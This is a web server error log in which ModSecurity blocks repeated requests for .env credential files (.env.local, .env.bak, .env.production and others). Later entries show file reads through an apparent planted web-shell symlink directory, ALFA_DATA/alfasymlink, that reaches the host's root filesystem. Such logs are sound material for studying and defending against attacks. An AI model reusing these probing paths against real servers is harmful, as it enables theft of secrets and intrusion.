[Sun Oct 25 22:40:51.849470 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69szrbYhOoSbkbrVN55gAAABs"]
[Sun Oct 25 22:40:51.924114 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69s8PyJ7czCvVZGZzUFwAAAE4"]
[Sun Oct 25 22:40:51.924426 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69s8PyJ7czCvVZGZzUFwAAAE4"]
[Sun Oct 25 22:40:51.924710 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at69s8PyJ7czCvVZGZzUFwAAAE4"]
[Sun Oct 25 22:40:52.083699 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at69tDrbYhOoSbkbrVN55wAAABs"]
[Sun Oct 25 22:40:52.083921 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at69tDrbYhOoSbkbrVN55wAAABs"]
[Sun Oct 25 22:40:52.084200 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at69tDrbYhOoSbkbrVN55wAAABs"]
[Sun Oct 25 22:40:52.138581 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69tMPyJ7czCvVZGZzUGAAAAE4"]
[Sun Oct 25 22:40:52.138812 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69tMPyJ7czCvVZGZzUGAAAAE4"]
[Sun Oct 25 22:40:52.139093 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at69tMPyJ7czCvVZGZzUGAAAAE4"]
[Sun Oct 25 22:40:52.293805 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at69tDrbYhOoSbkbrVN56AAAABs"]
[Sun Oct 25 22:40:52.294041 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at69tDrbYhOoSbkbrVN56AAAABs"]
[Sun Oct 25 22:40:52.294343 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at69tDrbYhOoSbkbrVN56AAAABs"]
[Sun Oct 25 22:40:52.359697 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69tMPyJ7czCvVZGZzUGQAAAE4"]
[Sun Oct 25 22:40:52.359918 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69tMPyJ7czCvVZGZzUGQAAAE4"]
[Sun Oct 25 22:40:52.360196 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at69tMPyJ7czCvVZGZzUGQAAAE4"]
[Sun Oct 25 22:40:52.502656 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at69tDrbYhOoSbkbrVN56QAAABs"]
[Sun Oct 25 22:40:52.502901 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at69tDrbYhOoSbkbrVN56QAAABs"]
[Sun Oct 25 22:40:52.503175 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at69tDrbYhOoSbkbrVN56QAAABs"]
[Sun Oct 25 22:40:52.579592 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69tMPyJ7czCvVZGZzUGgAAAE4"]
[Sun Oct 25 22:40:52.579819 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69tMPyJ7czCvVZGZzUGgAAAE4"]
[Sun Oct 25 22:40:52.580108 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at69tMPyJ7czCvVZGZzUGgAAAE4"]
[Sun Oct 25 22:40:52.716851 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at69tDrbYhOoSbkbrVN56gAAABs"]
[Sun Oct 25 22:40:52.717107 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at69tDrbYhOoSbkbrVN56gAAABs"]
[Sun Oct 25 22:40:52.717372 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at69tDrbYhOoSbkbrVN56gAAABs"]
[Sun Oct 25 22:40:52.791841 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69tMPyJ7czCvVZGZzUGwAAAE4"]
[Sun Oct 25 22:40:52.792081 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69tMPyJ7czCvVZGZzUGwAAAE4"]
[Sun Oct 25 22:40:52.792359 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at69tMPyJ7czCvVZGZzUGwAAAE4"]
[Sun Oct 25 22:40:52.930226 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at69tDrbYhOoSbkbrVN56wAAABs"]
[Sun Oct 25 22:40:52.930470 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at69tDrbYhOoSbkbrVN56wAAABs"]
[Sun Oct 25 22:40:52.930813 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.40.141.168:39760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at69tDrbYhOoSbkbrVN56wAAABs"]
[Sun Oct 25 22:40:53.001337 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69tcPyJ7czCvVZGZzUHAAAAE4"]
[Sun Oct 25 22:40:53.001606 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69tcPyJ7czCvVZGZzUHAAAAE4"]
[Sun Oct 25 22:40:53.002022 2026] [security2:error] [pid 2943111:tid 2943111] [client 34.40.141.168:39772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at69tcPyJ7czCvVZGZzUHAAAAE4"]
[Sun Oct 25 22:41:14.097890 2026] [core:error] [pid 2938904:tid 2938904] (13)Permission denied: [client 54.83.23.103:10008] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/Cavium PTP Driver/remove_id
[Sun Oct 25 22:41:18.109126 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.196.114.170:57112] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:41:18.308874 2026] [core:error] [pid 2946858:tid 2946858] (13)Permission denied: [client 185.191.171.19:50924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/validate
[Sun Oct 25 22:41:23.008695 2026] [authz_core:error] [pid 2943061:tid 2943061] [client 40.124.171.151:35016] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:41:26.143437 2026] [ssl:error] [pid 2938904:tid 2938904] (70014)End of file found: [client 3.208.156.9:64538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:41:30.179048 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 184.72.95.195:38404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:41:34.111439 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.224.104.67:43539] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:41:42.147789 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 184.73.68.20:50529] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:41:45.510418 2026] [security2:error] [pid 2943111:tid 2943111] [client 85.208.96.204:37890] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so"] [unique_id "at696cPyJ7czCvVZGZzUHwAAAE4"]
[Sun Oct 25 22:41:45.510513 2026] [security2:error] [pid 2943111:tid 2943111] [client 85.208.96.204:37890] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so"] [unique_id "at696cPyJ7czCvVZGZzUHwAAAE4"]
[Sun Oct 25 22:41:50.109126 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 34.204.150.196:55369] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:06.131675 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 44.195.145.102:50330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:18.111695 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 44.223.193.255:4594] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:26.113329 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 52.44.174.136:47151] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:30.100656 2026] [core:error] [pid 2930612:tid 2930612] (13)Permission denied: [client 98.82.40.168:31791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/event1/subsystem/event3/device/device/driver/uevent
[Sun Oct 25 22:42:34.205715 2026] [ssl:error] [pid 2938926:tid 2938926] (70014)End of file found: [client 35.174.253.85:4176] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:42.118538 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 100.29.34.97:32245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:46.163060 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 98.83.72.38:49880] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:42:51.781469 2026] [authz_core:error] [pid 2938926:tid 2938926] [client 77.239.124.249:58056] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
